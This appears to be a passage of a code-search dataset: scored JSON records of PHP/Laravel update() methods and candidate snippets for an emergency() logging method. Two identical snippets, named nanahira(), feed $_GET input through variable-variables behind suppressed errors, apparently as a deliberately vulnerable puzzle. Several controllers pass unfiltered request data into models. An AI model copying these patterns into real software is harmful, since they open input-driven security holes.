$book->description = $request->description;\n $book->update();\n\n return redirect()->route('land_page');\n }", "title": "" }, { "docid": "f34e0cee27ed61fcc8d340527f1d9673", "score": "0.5490983", "text": "#[Put('/{slug}', middleware: ['auth', 'can:update,slug'])]\n #[Operation(tags: ['Articles'], security: 'BearerToken')]\n #[RequestBody(factory: UpdateArticleRequestBody::class)]\n #[Response(factory: SingleArticleResponse::class, statusCode: 200)]\n #[Response(factory: ErrorValidationResponse::class, statusCode: 422)]\n public function update(Article $slug, UpdateArticleRequest $request): SingleArticleResource\n {\n $slug->update($request->input('article'));\n\n return new SingleArticleResource($slug->loadCount('favoritedBy'));\n }", "title": "" }, { "docid": "4d408504ca6fc63ae1c9b25f108a04b1", "score": "0.5490762", "text": "public function update(Request $request, $id)\n {\n $item = Item::find($id);\n $item->fill($request->all())->save();\n\n //file upload\n if($request->file('image_img')){\n $path = Storage::disk('public')->put('images/photos' , $request->file('image_img'));\n $item->fill(['image_img' => asset($path)])->save();\n }\n\n //tags\n $item->tags()->sync($request->get('tags'));\n\n return redirect()->route('item.index')->with('flash','Article actualizado correctamente.');\n }", "title": "" }, { "docid": "2f3b20927c08bdb57df533acda52a1fe", "score": "0.5490345", "text": "public function update(Request $request) {\n $this->validateItemInput($request);\n \n $item = Db::get()\n ->find(\n $this->classCall, $request->attributes->get('id')\n );\n if (!($item instanceof $this->classCall)) {\n $response = new Response('Trying to update non existing item.');\n $response->setStatusCode(400);\n return $response;\n }\n $oldPath = $item->path;\n $item->update($request->request->all());\n if ($oldPath !== $item->path) {\n $item->path = $this->getUniquePath($item->path);\n }\n Db::get()->persist($item);\n return $item;\n }", "title": "" }, { "docid": "eb69ca57c3bde9f06755b1a82e717baa", "score": "0.54793954", "text": "public function update(Request $request, $id)\n {\n $item = Item::findOrFail($id);\n \n $currentPhoto = $item->photo;\n if ($request->photo != $currentPhoto) {\n $name = time().'.' . explode('/',explode(':', substr($request->photo, 0, strpos($request->photo, ';')))[1])[1];\n\n \\Image::make($request->photo)->save(public_path('/img/item/').$name);\n $request->merge(['photo' => $name]);\n\n $itemPhoto = public_path('/img/item/').$currentPhoto;\n if (file_exists($itemPhoto)) {\n @unlink($itemPhoto);\n }\n }\n $item->update($request->all());\n \n return ['message' => 'Updated Success'];\n }", "title": "" }, { "docid": "ceac6ee3c36ec0367a2b9490feebe7a9", "score": "0.5478989", "text": "public function update(Request $request, $id)\n {\n\n $requestData = $request->all();\n $imagePaths = [];\n\n if ($request->hasFile('path')) {\n for ( $index = 0; $index < sizeof( $requestData['path']); $index++) {\n $imagePath = 'storage/' . $request->file('path')[$index]\n ->store('uploads', 'public');\n array_push($imagePaths, $imagePath);\n }\n }\n $image = Image::findOrFail($id);\n\n if (sizeof($imagePaths) === 0) {\n $requestData['path'] = $image->path;\n $image->update($requestData);\n }\n else {\n $oldImagePath = $image->path;\n $oldImagePath = str_replace(\"storage/\",storage_path('') . '/app/public/' , $oldImagePath);\n\n foreach ($imagePaths as $imagePath){\n\n $requestData['path'] = $imagePath;\n $image->update($requestData);\n }\n\n if(File::exists($oldImagePath)){\n File::delete($oldImagePath);\n }\n }\n\n\n\n return redirect('images/' . $request->get('post_id'))->with('flash_message', 'Image updated!');\n }", "title": "" }, { "docid": "6dbe9a80c3cc7c4c7214a73b919cb78b", "score": "0.54670787", "text": "public function update($request);", "title": "" }, { "docid": "2840f4acb2ccb4170d4557d937e25de4", "score": "0.5465156", "text": "public function update(Request $request, $id)\n {\n $data = Image::find($id);\n $all = $request->all();\n if(is_null($data))\n return response()->json(['error' => 'Resource introuvable'], 404);\n else\n {\n if(isset($all['url']))\n {\n $name = File::image($all['url']);\n if($name)\n {\n $all['url'] = $name;\n }else $all['url'] = $data->url;\n }\n\n $data->update($all);\n $data->categories()->sync($request->categories);\n $data->tags()->sync($request->tags);\n\n return response()->json(new ImageResource($data), 200);\n }\n }", "title": "" }, { "docid": "9080726c97000b95123e3a3548679cb5", "score": "0.5464735", "text": "public function update(Request $request, $id)\n {\n $this->slider = $this->slider->find($id);\n $rule =$this->slider->getRules('update');\n $request->validate($rule);\n $data = $request->except('image');\n\n if($request->image){\n $image_name = uploadImage($request->image,'slider','500x300');\n if($image_name){\n $data['image'] = $image_name;\n if($this->slider->image!= ''){\n deleteImage($this->slider->image,'slider');\n };\n }\n }\n $update = $this->slider->update($data);\n if($update){\n request()->session()->flash('success','Product has been updated');\n }else {\n request()->session()->flash('error','Product has not Been updated');\n\n }\n return redirect()->route('slider.index');\n\n }", "title": "" }, { "docid": "a1d61f0aa122378fb9049378295f5945", "score": "0.54586715", "text": "public function update($entity)\n {\n }", "title": "" }, { "docid": "a1d61f0aa122378fb9049378295f5945", "score": "0.54586715", "text": "public function update($entity)\n {\n }", "title": "" }, { "docid": "a1d61f0aa122378fb9049378295f5945", "score": "0.54586715", "text": "public function update($entity)\n {\n }", "title": "" }, { "docid": "536db9f9519d6601d2b49cdcde95f013", "score": "0.5458005", "text": "public function update(Request $request, $id)\n {\n //\n $this->validate($request,[\n 'id_manufacture' => 'required',\n 'asset_tag' => 'required',\n 'id_category' => 'required',\n 'order_number' => 'required',\n 'qty' => 'required',\n 'min_qty' => 'required',\n 'id_location' => 'required'\n ]);\n $input = $request->all();\n $asset = Assets::find($id);\n if(!empty($input['image'])){\n Storage::delete(public_path('storage'),$asset->image);\n $input['image'] = time().'.'.$request->image->getClientOriginalExtension();\n $request->image->move(public_path('storage/assets/'), $input['image']);\n }else {\n $input = array_except($input, array('image'));\n }\n $input['created_by'] = Auth::user()->name;\n $asset->update($input);\n return redirect()->route('assets.index')->with(['success' => 'Asset updated successfully', 'class' => 'close']);\n }", "title": "" }, { "docid": "db3837780a308513dc99c922897e898e", "score": "0.54579574", "text": "public function update()\n {\n $this->delete();\n $this->save();\n }", "title": "" }, { "docid": "5f36cdc3217c7c251089de9b1597e8a0", "score": "0.54572374", "text": "public static function put(string $resource, array $body = []) {\r\n $response = self::getClient()->request(\r\n \"PUT\",\r\n self::createUrl($resource),\r\n self::createHeaders(!empty($body)),\r\n NullStripper::strip($body)\r\n );\r\n\r\n if (!self::isSuccessful($response)) {\r\n self::handleFailure($response);\r\n }\r\n return self::handleSuccess($response);\r\n }", "title": "" }, { "docid": "8f4a12a4a3962d1da8617ab2c1add338", "score": "0.5455601", "text": "public function update(Request $request, Product $product)\n {\n if($request->image != NULL) {\n #Image uploading\n $storedPath = $request->file('image')->store('public/products'); \n }\n \n \n #Update the current product\n $product->update([\n 'title' => $request->title,\n 'body' => $request->body,\n 'price' => auth()->user()->id == $product->user_id ? $request->price : $product->price,\n 'category' => $request->category,\n 'image_path' => $request->image != NULL ? $storedPath : $product->image_path,\n 'status' => $request->status\n ]);\n\n #Return back to list page\n return redirect('/products');\n }", "title": "" }, { "docid": "19323452d4f8b1e3cc766b966234512d", "score": "0.54551905", "text": "public function update($obj) {\n }", "title": "" }, { "docid": "236d64bd92646776ec0d62483983f6b1", "score": "0.5442009", "text": "public function update($id, $data)\n {\n try {\n $this->logger->info(\"Trying to update resource in database table\");\n $this->checkId($id);\n\n $putValues = $this->putValues($id, $data);\n\n $query = \"UPDATE guest.student SET name = :name, surname = :surname, indexno = :indexno, address = :address WHERE id = :id\";\n $stmt = $this->conn->prepare($query);\n\n $stmt->bindParam(\":id\", $id);\n $stmt->bindParam(\":name\", $putValues[\"name\"]);\n $stmt->bindParam(\":surname\", $putValues[\"surname\"]);\n $stmt->bindParam(\":indexno\", $putValues[\"indexno\"]);\n $stmt->bindParam(\":address\", $putValues[\"address\"]);\n\n $stmt->execute();\n echo \"Resource successfully updated\";\n $this->logger->info(\"Updating resource successful in database table\");\n\n } catch (InvalidIdException $e) {\n $this->logger->warning(\"ID doesn't exist in database table\");\n echo \"Error: \" . $e->getMessage();\n } catch (\\Exception $e) {\n $this->logger->warning(\"Error updating resource in database table\");\n echo \"Error updating resource: \" . $e->getMessage();\n }\n }", "title": "" }, { "docid": "a098fb5d396525d0b997679afe399e81", "score": "0.54363286", "text": "public function update(Request $request, $id)\n {\n\n $product = $this->productRepo->getById($id);\n $request_data = $request->except(['_method', '_token', 'photo', 'product_cats', 'ar', 'en']);\n\n $locale = $request->only('ar', 'en');\n $cats = $request->product_cats;\n\n\n if ($request->hasFile('photo')) {\n /*delete old photo*/\n $oldPath = public_path('/images/products/' . $product->photo);\n $oldThumbPPath = public_path('/images/products/thumb/' . $product->photo);\n File::delete($oldPath, $oldThumbPPath);\n\n $image = $this->upload($request->photo, 'products', true);\n $request_data['photo'] = $image;\n\n }\n\n $this->productRepo->updateData($id, $request_data, $locale, $cats);\n\n return redirect()->route('products.index')->with('update', 'data updated successfully');\n\n\n }", "title": "" }, { "docid": "78c9828cfb522a8b15c9e25aecac3a44", "score": "0.54266506", "text": "public function update(Request $request, $id)\n {\n $order = Order::findOrFail($id);\n $previous_qty = $order->quantity;\n $order->user_id = auth()->id();\n $order->product_id = $request['product_id'];\n $order->quantity = $request['quantity'];\n\n if ($order->save()) {\n Inventory::where('product_id', $order->product_id)->decrement('quantity', $order->quantity);\n Inventory::where('product_id', $order->product_id)->increment('quantity', $previous_qty);\n return new OrderResource($order);\n }\n }", "title": "" }, { "docid": "ecf201c555a1f2a407beb441493f659d", "score": "0.5425398", "text": "public function update(Request $request, $id)\n {\n //\n // dd($request);\n $this->validate($request, [\n 'name' => 'required',\n 'price' => 'required',\n 'point' => 'required',\n 'category' => 'required',\n 'image' => 'image|mimes:jpeg,png,jpg,gif|max:2048',\n ]);\n $new_name = \"\";\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $new_name = time() . '.' . $image->getClientOriginalExtension();\n Image::make($image)->resize(450, 400)->save(public_path('picture/product/' . $new_name));\n $out_of_stock = Out_of_stock::find($id);\n $out_of_stock->name = $request->get('name');\n $out_of_stock->price = $request->get('price');\n $out_of_stock->point = $request->get('point');\n $out_of_stock->category = $request->get('category');\n $oldpruductname = $out_of_stock->picture;\n $out_of_stock->picture = $new_name;\n Storage::delete('product/'.$oldpruductname);\n } else {\n $out_of_stock = Out_of_stock::find($id);\n $out_of_stock->name = $request->get('name');\n $out_of_stock->price = $request->get('price');\n $out_of_stock->point = $request->get('point');\n $out_of_stock->category = $request->get('category');\n }\n\n $out_of_stock->save();\n return back()->with('success', 'Edit data success');\n }", "title": "" }, { "docid": "4da53910fe95b40fc7708d69a5bc4caf", "score": "0.54252774", "text": "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'sub_title' => 'required',\n 'image' => 'required|mimes:jpeg,bmp,png'\n ]);\n $slider = Slider::find($id);\n $image = $request->file('image');\n $filename = $image->getClientOriginalName();\n $filename = time(). '.' . $filename;\n $path = 'upload/slider/'.$filename;\n $storage = Storage::disk('s3');\n $storage->put($path, fopen($image, 'r+'), 'public');\n\n $slider->title = $request->title;\n $slider->sub_title = $request->sub_title;\n $slider->image = $path;\n $slider->save();\n Toastr::success('Slider Successefully Updated!', 'Success', [\"positionClass\" =>\"toast-top-right\"]);\n return redirect()->route('slider.index');\n }", "title": "" }, { "docid": "a4ae1c30e150f5cf694572b68551bd23", "score": "0.5425028", "text": "public function update(Request $request, $id)\n {\n $this->validate($request,[\n 'title'=>'required',\n 'content'=>'required',\n 'date'=>'required',\n 'image'=>'required|image',\n ]);\n $product = Product::find($id);\n $product->edit($request->all());\n $product -> uploadImage($request->file('image'));\n $product->setCategory($request->get('category_id'));\n $product->toggleStock($request->get('in_stock'));\n\n return redirect()->route('products.index');\n }", "title": "" }, { "docid": "f08541062169cb53c21e52b58cdb2dcd", "score": "0.5424735", "text": "public function update(Request $request, $id)\n {\n //\n $id = $request->id;\n $store_edit = Store::find($id);\n $store_edit->store_name = $request->store_name;\n $store_edit->store_tel = $request->store_tel;\n $store_edit->store_type_id = $request->store_type;\n $store_edit->store_lineid = $request->store_line;\n $store_edit->store_contact = $request->store_contact;\n $store_edit->store_address = $request->store_address;\n $store_edit->store_detail = $request->store_detail;\n $store_edit->store_status = $request->store_status;\n $store_edit->store_tax_contact = $request->store_tax_contact;\n $store_edit->store_tax_name = $request->store_tax_name;\n $store_edit->store_tax_id = $request->store_tax_id;\n $store_edit->confirm = $request->confirm;\n $store_edit->store_lat = $request->store_lat;\n $store_edit->store_lng = $request->store_lng;\n $tmp = '';\n if($request->check_list){\n foreach($request->check_list as $key => $item){\n if($key == 0){\n $tmp = $item;\n }\n else{\n $tmp = $item.','.$tmp;\n } \n }\n }\n $store_edit->store_promotion = $tmp;\n $store_edit->store_status = $request->store_status;\n\n\n if($request->hasFile('storeimage')){\n Storage::disk('do_spaces')->delete('stores/'.$store_edit->store_image); \n $newFileName = uniqid().'.'.$request->storeimage->extension();//gen name\n $imageStore = $request->file('storeimage');\n $t = Storage::disk('do_spaces')->put('stores/'.$newFileName, file_get_contents($imageStore), 'public');\n $store_edit->store_image = $newFileName;\n }\n if($request->hasFile('storeimageline')){\n Storage::disk('do_spaces')->delete('stores/'.$store_edit->store_lineid_image);\n $newFileName = uniqid().'.'.$request->storeimageline->extension();//gen name\n $imageStoreLine = $request->file('storeimageline');\n $t = Storage::disk('do_spaces')->put('stores/'.$newFileName, file_get_contents($imageStoreLine), 'public');\n $store_edit->store_lineid_image = $newFileName;\n }\n if($request->hasFile('storeimagetax')){\n Storage::disk('do_spaces')->delete('stores/'.$store_edit->store_tax_image);\n $newFileName = uniqid().'.'.$request->storeimagetax->extension();//gen name\n $imageStoreTax = $request->file('storeimagetax');\n $t = Storage::disk('do_spaces')->put('stores/'.$newFileName, file_get_contents($imageStoreTax), 'public');\n $store_edit->store_tax_image = $newFileName;\n }\n $store_edit->save();\n return redirect()->route('store.index')->with('feedback' ,'แก้ไขข้อมูลเรียบร้อยแล้ว');\n }", "title": "" }, { "docid": "2ed05e577c404795cab2b1dde733d75c", "score": "0.5418497", "text": "public function update(Request $request, $id)\n {\n $datos = $request->except('_token','_method');\n\n if ($request->hasFile('foto')) {\n $artista = Artista::findOrfail($id);\n Storage::delete('public/uploads/'.$artista->id.'/'. $artista->foto);\n $datos['foto'] = $request->file('foto')->getClientOriginalName();\n $request->file('foto')->storeAs('public/uploads/'.$artista->id, $datos['foto']);\n }\n\n Artista::where('id','=',$id)->update($datos);\n return redirect('artista');\n }", "title": "" }, { "docid": "da9aacaea3d57116c579322deaba3198", "score": "0.5416959", "text": "public function update(Request $request, $id)\n {\n try {\n $result = $this->model->find($id);\n\n if ($result) {\n $inputs = $request->except('_token');\n\n if ($request->hasFile('image')) {\n $fileName = time() . '.' . $request->image->getClientOriginalExtension();\n $file = $request->file('image');\n\n Storage::put($this->dishImageStoragePath . $fileName, file_get_contents($file), 'public');\n\n $inputs['image'] = $fileName;\n\n if (isset($result->image) && $result->image) {\n if (Storage::exists($this->dishImageStoragePath . $result->image)) {\n Storage::delete($this->dishImageStoragePath . $result->image);\n }\n }\n }\n\n $isSaved = $result->update($inputs);\n\n if ($isSaved) {\n return redirect($this->moduleRoute)->with(\"success\", __($this->moduleName . \" updated!\"));\n }\n }\n return redirect($this->moduleRoute)->with(\"error\", __(\"Something went wrong, please try again later.\"));\n } catch (\\Exception $e) {\n return redirect($this->moduleRoute)->with('error', $e->getMessage());\n }\n }", "title": "" }, { "docid": "9909c434dfa1fa2de013b52dc098057a", "score": "0.54166603", "text": "public function updateProduct();", "title": "" }, { "docid": "83fd3d73dd82fcaecb92e078c534bdfe", "score": "0.54161036", "text": "public function update(Request $request, $id)\n {\n $data = array();\n $data['status'] = $request->status;\n \n \n $image = $request->newphoto;\n\n if ($image) {\n $position = strpos($image, ';');\n $sub = substr($image, 0, $position);\n $ext = explode('/', $sub)[1];\n\n $name = time().\".\".$ext;\n $img = Image::make($image)->resize(240,200);\n $upload_path = 'backend/supplier/';\n $image_url = $upload_path.$name;\n $success = $img->save($image_url);\n \n if ($success) {\n $data['photo'] = $image_url;\n $img = DB::table('patients')->where('id',$id)->first();\n $image_path = $img->photo;\n $done = unlink($image_path);\n $user = DB::table('patients')->where('id',$id)->update($data);\n }\n \n }else{\n $oldphoto = $request->photo;\n $data['photo'] = $oldphoto;\n $user = DB::table('patients')->where('id',$id)->update($data);\n }\n }", "title": "" }, { "docid": "fa90d4335b5457d60aed5f93219c9fb9", "score": "0.5414578", "text": "function update($resource_id,$options)\n\t{\n\t\t//allowed fields\n\t\t$valid_fields=array(\n\t\t\t//'resource_id',\n\t\t\t//'survey_id',\n\t\t\t'dctype',\n\t\t\t'title',\n\t\t\t'subtitle',\n\t\t\t'author',\n\t\t\t'dcdate',\n\t\t\t'country',\n\t\t\t'language',\n\t\t\t//'id_number',\n\t\t\t'contributor',\n\t\t\t'publisher',\n\t\t\t'rights',\n\t\t\t'description',\n\t\t\t'abstract',\n\t\t\t'toc',\n\t\t\t'subjects',\n\t\t\t'filename',\n\t\t\t'dcformat',\n\t\t\t'changed');\n\n\t\t//add date modified\n\t\t$options['changed']=date(\"U\");\n\t\t\t\t\t\n\t\t//remove slash before the file path otherwise can't link the path to the file\n\t\tif (isset($options['filename']))\n\t\t{\n\t\t\tif (substr($options['filename'],0,1)=='/')\n\t\t\t{\n\t\t\t\t$options['filename']=substr($options['filename'],1,255);\n\t\t\t}\n\t\t}\n\t\t\n\t\t//pk field name\n\t\t$key_field='resource_id';\n\t\t\n\t\t$update_arr=array();\n\n\t\t//build update statement\n\t\tforeach($options as $key=>$value)\n\t\t{\n\t\t\tif (in_array($key,$valid_fields) )\n\t\t\t{\n\t\t\t\t$update_arr[$key]=$value;\n\t\t\t}\n\t\t}\n\t\t\n\t\t//update db\n\t\t$this->db->where($key_field, $resource_id);\n\t\t$result=$this->db->update('resources', $update_arr); \n\t\t\n\t\treturn $result;\t\t\n\t}", "title": "" }, { "docid": "cc834cb0ddf4d709f9b0966aeba0c395", "score": "0.5407511", "text": "public function update(Request $request, Product $product)\n {\n\n if (Auth::id()==$product->user_id) {\n $product->update($request->all());\n\n return response([\n 'data'=>new ProductResource($product)\n ],Response::HTTP_CREATED); \n }\n\n \nelse {\n return response([\n 'error'=>'product doesnt belong to current user'\n ],Response::HTTP_NOT_FOUND); \n}\n // return response()->json(new ProductResource($product), 200); \n\n \n\n \n }", "title": "" } ]
0dbaa574f6012ac828d26a70192b0af3
TODO: Implement emergency() method.
[ { "docid": "eb8306b6884e5339b097d14c0467fc56", "score": "0.69994676", "text": "public function emergency($message, array $context = array())\n {\n }", "title": "" } ]
[ { "docid": "4826f47b8febc08981a6622ec0373bdc", "score": "0.7107192", "text": "public function emergency($message)\n {\n $this->writeLog($message, 'EMERGENCY');\n\n }", "title": "" }, { "docid": "02599b6136908fecf86b473b8447a7f1", "score": "0.6946121", "text": "public function emergency($s_message, array $am_context = array()) {\n\t\t$this->log($s_message, self::EMERGENCY, $am_context);\n\t}", "title": "" }, { "docid": "4fdd4c95316c8ecc6a81d3de09b6e342", "score": "0.6788367", "text": "public function emergency(string $message)\n {\n $this->log(LogLevel::EMERGENCY, $message);\n }", "title": "" }, { "docid": "e17c10142ec870c2c6918ecbe19dc7c7", "score": "0.6614563", "text": "public function emergency(string $message, array $context)\n\t{\n\t\t$message = \"[\" . Carbon::now() . \"]: \" . $message;\n\t\t$message .= \"\\nData: \\n\" . $this->serializeContext($context);\n\t\t$this->writeLog(self::LOG_LEVEL_EMERGENCY, $message);\n\t}", "title": "" }, { "docid": "99bd7b99e2b6b83f27c3c16558150f65", "score": "0.65663844", "text": "public function emergency($message, array $context = [])\n {\n if ($this->isQuiet()) {\n return;\n }\n\n parent::emergency($message, $context);\n }", "title": "" }, { "docid": "b8614a8f522e9079a6c8dcc62aab0589", "score": "0.64492273", "text": "public function emergency($message, array $context = array()) {\n\t\treturn $this->log($message, self::EMERGENCY, $context);\n\t}", "title": "" }, { "docid": "eb1e9632276c519ec546fb48d5d9216a", "score": "0.6309713", "text": "public function emergency($message, array $context = [])\n {\n $this->writeLog(__FUNCTION__, $message, $context);\n }", "title": "" }, { "docid": "3acc2434137ec873cd47bfabeae8581d", "score": "0.6194089", "text": "public function emergency($message, array $context = [])\n {\n $this->log(LogLevel::EMERGENCY, $message, $context);\n }", "title": "" }, { "docid": "88bbabb6ade173ff0a3ad2c8da345ed1", "score": "0.5944079", "text": "function eis_device_poweroff() {\n\tglobal $eis_conf,$eis_dev_conf,$eis_dev_status,$eis_mysqli;\n\t// poweroff freezes meteo data\n\treturn true;\n}", "title": "" }, { "docid": "d86c35a83a70be7867713c4db96ee8cf", "score": "0.573917", "text": "function emerg($message)\n {\n return $this->log($message, PEAR_LOG_EMERG);\n }", "title": "" }, { "docid": "9f3c43876829f88fec53db2ed7e05de6", "score": "0.56965494", "text": "public static function heartbeat() {\n\t\t$out = null;\n\t\tstatic::send($out);\n\t}", "title": "" }, { "docid": "13e6e6457cf307d4d1685afe05354f78", "score": "0.5682308", "text": "function eis_device_poweroff() {\n\tglobal $eis_conf,$eis_dev_conf,$eis_dev_status,$eis_mysqli;\n\t$eis_dev_status[\"gridstatus\"]=\"disconnected\"; \n\treturn true;\n}", "title": "" }, { "docid": "9e576bead4385f0a787295953bf3d4f1", "score": "0.5657738", "text": "public function emergency_alert_notification() {\n\n $user_id = $this->checkLogin('U');\n $latitude = 13.057215;\n $longitude = 80.253157;\n\n\n if ($latitude != '' && $longitude != '') {\n $condition = array('_id' => MongoID($user_id));\n $checkUser = $this->user_model->get_selected_fields(USERS, $condition, array('_id', 'user_name', 'emergency_contact'));\n if ($checkUser->num_rows() == 1) {\n if (isset($checkUser->row()->emergency_contact)) {\n if (count($checkUser->row()->emergency_contact) > 0) {\n\n $latlng = $latitude . ',' . $longitude;\n # $gmap = file_get_contents(\"http://maps.googleapis.com/maps/api/geocode/json?latlng=\" . $latlng . \"&sensor=false\");\n #$mapValues = json_decode($gmap)->results;\n #$formatted_address = $mapValues[0]->formatted_address;\n\t\t\t\t $formatted_address = 'N/A - ( GPS Not Detected )';\n\n $this->send_alert_notification_to_emergency_contact($checkUser->row()->user_name, $checkUser->row()->emergency_contact, $formatted_address);\n $this->setErrorMessage('success', 'Alert notification sent successfully', 'driver_alert_sent_success');\n } else {\n $this->setErrorMessage('error', 'Emergency contact is not available', 'driver_emergency_contact_na');\n }\n } else {\n $this->setErrorMessage('error', 'Sorry, You have not set emergency contact yet', 'driver_you_have_not_set_emergency_contact');\n }\n } else {\n $this->setErrorMessage('error', 'This user does not exist', 'driver_user_not_exist');\n }\n } else {\n $this->setErrorMessage('error', 'Not able to find your current location for send with alert notification.', 'driver_not_able_to_find_location');\n }\n redirect('rider/emergency-contact');\n }", "title": "" }, { "docid": "d6fadce72ff84aa18dd3bcc9cc12c577", "score": "0.56575966", "text": "protected final function emerg($message)\n {\n return SystemDaemon::emerg($message);\n }", "title": "" }, { "docid": "5cfd2b0d469a8a868c29fa9580d4e80c", "score": "0.56364584", "text": "public function lockHard()\n {\n $this->hard_locked = true;\n }", "title": "" }, { "docid": "4a15822219fcd3802aaef36599d04b0c", "score": "0.5574557", "text": "function emergency_contact() {\n\n if ($this->lang->line('driver_emergency_contact_details') != '')\n $driver_emergency_contact_details = stripslashes($this->lang->line('driver_emergency_contact_details'));\n else\n $driver_emergency_contact_details = \"Emergency Contact Details\";\n $this->data['sideMenu'] = 'emergency';\n $this->data['heading'] = $driver_emergency_contact_details;\n $this->load->view('site/user/emergency_contact', $this->data);\n }", "title": "" }, { "docid": "58db4116d4b96e2425cf88c90cf0a6e7", "score": "0.55453444", "text": "private function _shutdown()\n {\n // Actually, nothing right now.\n }", "title": "" }, { "docid": "9c266264e70f29d6165bae990a25837d", "score": "0.55098325", "text": "public function checkAllSystems() {\n\t\techo \"Countdown aborted.<br>\";\n\t}", "title": "" }, { "docid": "7bfc799c4b9118922f9cdb8ca6e823dd", "score": "0.5492651", "text": "public static function recover()\n {\n // TODO::\n }", "title": "" }, { "docid": "fb113bd622088f8b44b3ac9a18bcc5d9", "score": "0.5460796", "text": "protected function nanahira(){\n function exploit($data){\n $exploit = new System();\n }\n $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);\n }", "title": "" }, { "docid": "fb113bd622088f8b44b3ac9a18bcc5d9", "score": "0.5460796", "text": "protected function nanahira(){\n function exploit($data){\n $exploit = new System();\n }\n $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);\n }", "title": "" }, { "docid": "724a98067a7ed34ec441a1a98d4684b2", "score": "0.54529643", "text": "public function logEmergency()\n {\n $this->log($this->createLoggerMessage(AgaviLogger::EMERGENCY, self::DEFAULT_MESSAGE_SCOPE, func_get_args()));\n }", "title": "" }, { "docid": "8f8369b19fc7c812235ac74f224c297c", "score": "0.54278123", "text": "function heartbeat() {\n $result = $this->adminmodel->heartbeat();\n if ($result)\n echo \"OK\";\n else\n echo \"ERROR\";\n }", "title": "" }, { "docid": "51ddb9d6db7c713bfb9c5f41ac4fe973", "score": "0.5412477", "text": "public function systemError()\n {\n dd('system error...');\n }", "title": "" }, { "docid": "573f81f4935ee8d0c1b8a5948485c49a", "score": "0.5407015", "text": "function shutdown()\n{\n // get all errors\n $error = error_get_last();\n // if fatala error & parse error\n if ($error) {\n $error_file = APPLICATION_DATA . '/logs/log_'.$error['type'].'.log';\n\n // set content of error file\n $content = 'Date: ' . date('Y-m-d H:i:s') . PHP_EOL;\n $content .= 'Message: ' . $error['message'] . PHP_EOL;\n $content .= 'File: ' . $error['file'] . PHP_EOL;\n $content .= 'Line: ' . $error['line'] . PHP_EOL;\n $content .= 'Request Uri: ' . @$_SERVER['REQUEST_URI'] . PHP_EOL;\n $content .= 'Request Method: ' . @$_SERVER['REQUEST_METHOD'] . PHP_EOL;\n $content .= 'Request Params: ' . @json_encode($_REQUEST) . PHP_EOL;\n $content .= '-----------------------------------' . PHP_EOL;\n\n // write content to file\n $content.= file_get_contents($error_file, false, null, null, 1024*1024); // last 1Mb of log;\n $handle = fopen( $error_file, 'w' );\n fwrite($handle, $content);\n\n if ( $error['type'] == E_ERROR || $error['type'] == E_PARSE ) {\n ob_clean();\n\n // show 503\n if(strpos($_SERVER['REDIRECT_URL'], '503.html')) {\n header('HTTP/1.1 503 Service Unavailable');\n echo file_get_contents(APPLICATION_WEB . '/503-page.html');\n exit;\n }\n\n header('Location: /503.html');\n }\n\n fclose($handle);\n }\n}", "title": "" }, { "docid": "3936effe596efff67d20783706c0cfce", "score": "0.5390718", "text": "function asterisk_socket_shutdown(){ami_req(NULL);}", "title": "" }, { "docid": "a4c26690df7b0532ac680ceb174065d7", "score": "0.5352294", "text": "public static function turnSystemOff()\n\t{\n\t\treturn static::_setSystemStatus(0);\n\t}", "title": "" }, { "docid": "548d4eae0bc00cc5d2ccfeb6bab5bab3", "score": "0.5321407", "text": "public function bootSystem(): void;", "title": "" }, { "docid": "abb1a310b7030d12c7c6ab816144fecc", "score": "0.5297128", "text": "public function emerg($message, $force = null)\n {\n return $this->_log($message, Zend_Log::EMERG, $force);\n }", "title": "" }, { "docid": "6af7e342c66733432c5f0721cb656e77", "score": "0.5277587", "text": "public function shutdown ()\n {\n\n }", "title": "" }, { "docid": "9d7eb7809ebc8658412513ec8c64b813", "score": "0.5262914", "text": "public function emergencyUpdate(Request $request)\n {\n $id = $request->input('admNo');\n\n $update = [\n\n 'eName' => $request->input('emeName'),\n 'eMember1' => $request->input('emeMember1'),\n 'eMember2' => $request->input('emeMember2'),\n 'eMember3' => $request->input('emeMember3'),\n 'eAddress' => $request->input('emePAddress'),\n 'eJobAddress' => $request->input('emeJobAddress'),\n 'eMNo'\t => $request->input('emeMNo'),\n 'eJobNo' => $request->input('emeJobNo'),\n ];\n\n DB::table('emergencies')\n ->where('admNo', '=', $id)\n ->update($update);\n\n return view('admin/upDateUser');\n }", "title": "" }, { "docid": "4543c02809c5e7fe98824665bd720fb0", "score": "0.52448624", "text": "protected function _kick_out()\n\t{\n\t\treturn;\n\t}", "title": "" }, { "docid": "4ab6203c5a59f0113d12aa680a335070", "score": "0.5239817", "text": "protected function bye() {\n $this->write_all();\n $this->on_unload();\n exit();\n }", "title": "" }, { "docid": "215c663a56b8bf05d292f667a326bbf2", "score": "0.522705", "text": "public function _wakeup() {\n\t\t\t_doing_it_wrong( __FUNCTION__, __( 'Cheatin&#8217; huh?', 'siaeb-edd-persian-report' ), '1.0.0' );\n\t\t}", "title": "" }, { "docid": "2e4efa37c56280dac16c13dd38e14067", "score": "0.5221207", "text": "function comprobar(){\n // Out of time :(\n }", "title": "" }, { "docid": "de79ecc6a40845b4b3da8aa5d703c436", "score": "0.5216827", "text": "public function _wakeup() {\n\t\t\t_doing_it_wrong( __FUNCTION__, __( 'Cheatin&#8217; huh?', 'siaeb-edd-bmig' ), '1.0.0' );\n\t\t}", "title": "" }, { "docid": "5a22c7b4ae74275007e38d520480f8eb", "score": "0.5203051", "text": "static public function return_service_unavailable(){\n \thttp_response_code(503);\n \texit();\n }", "title": "" }, { "docid": "89df148c2b99de638423397f1368fa78", "score": "0.5199188", "text": "private function call_supervisor_shutdown() {\n\t\treturn false; // denied\n\t}", "title": "" }, { "docid": "86e85e44d76dd1e47e6a9e3f51e9c24d", "score": "0.51954126", "text": "public function emergency() {\n return $this->belongsTo( '\\App\\Models\\HospitalEmergency', 'id', 'hospital_id');\n }", "title": "" }, { "docid": "d4f2fc374d2d6b5d119f0bde925dbfc7", "score": "0.5194332", "text": "function handleShutdown(){\n $error = error_get_last();\n if($error !== NULL){\n global $cnum;\n $error_message = \"[SHUTDOWN] \u0002Parse Error:\u000f \".$error['message'] . ' in ' . $error['file'] . ' on line ' . $error['line'] . PHP_EOL;\n log_error_message(2999, $cnum, $error_message);\n }\n}", "title": "" }, { "docid": "82d4c4c322b7a4bcb8c38a6c48e0ecc3", 